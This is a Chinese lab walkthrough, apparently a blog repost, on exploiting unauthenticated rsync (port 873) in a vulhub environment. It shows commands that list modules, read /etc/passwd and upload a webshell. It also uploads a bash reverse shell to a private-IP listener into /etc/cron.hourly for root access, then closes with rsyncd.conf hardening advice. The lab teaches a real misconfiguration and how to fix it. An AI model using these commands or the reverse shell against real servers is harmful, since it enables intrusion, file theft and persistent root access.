zoukankan      html  css  js  c++  java
  • Rsync利用思路

    简介

    RsyncLinux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

    环境搭建

    环境使用vulhub,进入到/vulhub-master/rsync/common目录下,编译及运行rsync服务器:

    docker-compose build
    docker-compose up -d
    

    常用命令

    列举整个同步目录或指定目录:
    rsync ip::
    rsync ip::xxx/
    下载文件或目录到本地:
    rsync -avz ip::xxx/xx.php /root
    rsync -avz ip::xxx/ /var/tmp
    上传文件到服务器:
    rsync -avz webshell.php ip::web/
    

    漏洞复现

    nmap扫一下

    image-20200925191229133

    rsync rsync://your-ip:873/
    rsync rsync://your-ip:873/src 来查看模块名列表
    我们再列出src模块下的文件
    rsync rsync://your-ip:873/src/
    

    image-20200925191341664

    我们可以下载任意文件:
    rsync -av rsync://your-ip:873/src/etc/passwd ./
    

    image-20200925192015568

    提权

    写入shell并赋权:

    #!/bin/bash 
    /bin/bash -i >& /dev/tcp/192.168.56.130/8888 0>&1
    
    chmod +x shell
    

    shell上传至/etc/cron.hourly

    rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
    

    image-20200925214309248

    每小时的第17分钟执行cron.hourly,焦急的等待

    image-20200925221725498

    成功弹出shell,舒服。

    防范与总结

    这种未授权访问漏洞,一般都是在配置的时候,未能实现安全配置或权限认证而导致的,所以我们先来看看rsync的文件配置与认证方式。rsync的默认配置文件为/etc/rsyncd.conf,常驻模式启动命令的rsync -daemon,启动成功后默认监听于TCP端口873,可通过rsync的守护及SSH两种方式进行认证。

    我们来看下含有漏洞的rsync的文件的配置

    image-20200925214750770

    rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。所以问题就出在这。

    配置文件位置:/etc/rsync.conf,常见配置项
    
    motd file -> motd文件位置
    log file -> 日志文件位置
    path -> 默认路径位置
    use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
    read only -> 只读配置(yes or no)
    list=true -> 是否可以列出模块名
    uid = root -> 传输使用的用户名
    gid = root -> 传输使用的用户组
    auth users -> 认证用户名
    secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
    hosts allow=192.168.0.101  -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
    hosts deny 禁止的主机,host的两项可以使用*表任意。
    

    漏洞修复:

    • 正确配置认证用户名或者密码
    • 使用足够但最小权限
    • host allow/deny 来控制接入源IP
    • 可以配置只读
    • 非必要应该仅限制配置路径下可访问

    参考:

  • 相关阅读:
    实用SQL命令收集
    ZedGraph在Asp.net中的应用
    怎样制作一张万能的Win XP安装光盘
    【转】poj 1823 hotel 线段树【Good】
    【转】unique()函数
    POJ1389Area of Simple Polygons
    【转】poj 1823
    【转】POJ 1177 (线段树+离散化+扫描线) 详解
    【转】POJ各题算法分类和题目推荐
    【转】sort()函数定义在头文件<algorithm>中,它把容器中的数据重新排序成非递减序列
  • 原文地址:https://www.cnblogs.com/lktop/p/13734204.html
Copyright © 2011-2022 走看看